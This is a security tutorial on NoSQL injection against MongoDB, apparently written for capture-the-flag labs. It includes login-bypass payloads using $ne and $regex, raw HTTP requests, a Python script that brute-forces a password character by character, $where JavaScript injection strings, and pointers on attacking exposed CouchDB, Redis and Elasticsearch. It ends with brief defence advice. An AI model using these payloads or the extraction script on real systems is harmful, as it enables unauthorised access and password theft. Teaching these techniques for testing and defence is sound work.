NoSQL injection in MongoDB: bypass the login and extract passwords
Detect a NoSQL injection, get through a MongoDB login with $ne and $regex, and extract passwords one character at a time with a Python script.
MongoDB does not speak SQL, but that does not make it immune to injection. Queries are JSON objects and, if the application puts what you send into them without checking its type, you can swap a value for an operator ($ne, $gt, $regex) or, in the worst case, for JavaScript the server evaluates.
The classic bug in Node.js with Express:
// The login expected two strings...
const user = await db.collection('users').findOne({
username: req.body.username,
password: req.body.password
});
// ...but if you send password[$ne]=x, Express hands it an object: { "$ne": "x" }
The query becomes "a user called admin whose password is not x": you are in without knowing it.
Detecting it
Signs that MongoDB is behind the app: a Node.js application (X-Powered-By: Express header), 24-character hex IDs such as 65a1f0c2e4b0a1b2c3d4e5f6, or errors mentioning MongoError or BSON.
Try each parameter and watch whether the response changes:
| Payload | What it tells you |
|---|---|
' " \ { $ |
A 500 error or a stack trace: the value reaches the query |
user[$ne]=x |
A different response from user=x: operators are accepted |
{"user": {"$ne": null}} in JSON |
The same when the request is JSON |
| `' |
Bypassing the login
With a normal form (application/x-www-form-urlencoded):
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[$ne]=x
If the application accepts JSON (try switching the header even if the form does not use it):
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": {"$ne": "x"}}
If you do not know the username, {"username": {"$ne": "x"}, "password": {"$ne": "x"}} returns the first one in the collection, which is usually the admin. To pick another one: {"username": {"$regex": "^adm"}, ...}.
Tip
On Shoppy the login builds the query by concatenating text inside a $where, so what works is the JavaScript version: admin'||'1'=='1 in the username.
Extracting the password with $regex
Getting in is nice, but often you need the password (or the hash) to reuse it over SSH. With $regex the query only succeeds if the password starts with what you try, so you can guess it one character at a time:
import requests, string
URL = "http://target.htb/login"
alphabet = string.ascii_letters + string.digits + "!@#%_-{}"
secret = ""
while True:
for c in alphabet:
guess = "^" + secret + c.replace(".", r"\.")
r = requests.post(URL, data={"username": "admin", "password[$regex]": guess},
allow_redirects=False)
if r.status_code == 302: # successful login: redirect to the dashboard
secret += c
print(secret)
break
else:
break # no character matches: we have it all
print("Password:", secret)
Adapt the success check to what the site does (a redirect, a cookie, different text). With ^.{8}$ you find the length first, and the same trick on the username field gives you the list of users.
JavaScript injection ($where and mapReduce)
If the query uses $where or server-side JavaScript functions, you can inject your own logic:
' || '1'=='1 // always true
' || this.password.match(/^a/) || 'a'=='b // extract data as with $regex
'; sleep(5000); ' // blind, time-based
In modern versions server-side JavaScript is very restricted, so do not expect to run commands: the goal is to bypass the logic and read data.
Other engines
- CouchDB: REST API on port 5984; try
/_all_dbsand/_users/_all_docsunauthenticated, and the old CVE-2017-12635 to create an admin. - Redis: not an injection, but if it is exposed without a password you can write an SSH key or a cron job with
CONFIG SET dir. - Elasticsearch:
/_cat/indicesand/_search?q=*unauthenticated.
Defence
Validate the type of every field (a password must be a string, not an object), use mongo-sanitize or Mongoose's sanitizeFilter option, and never use $where with user input.
If the database is relational, move on to the SQL injection guide and the SQLi cheat sheet.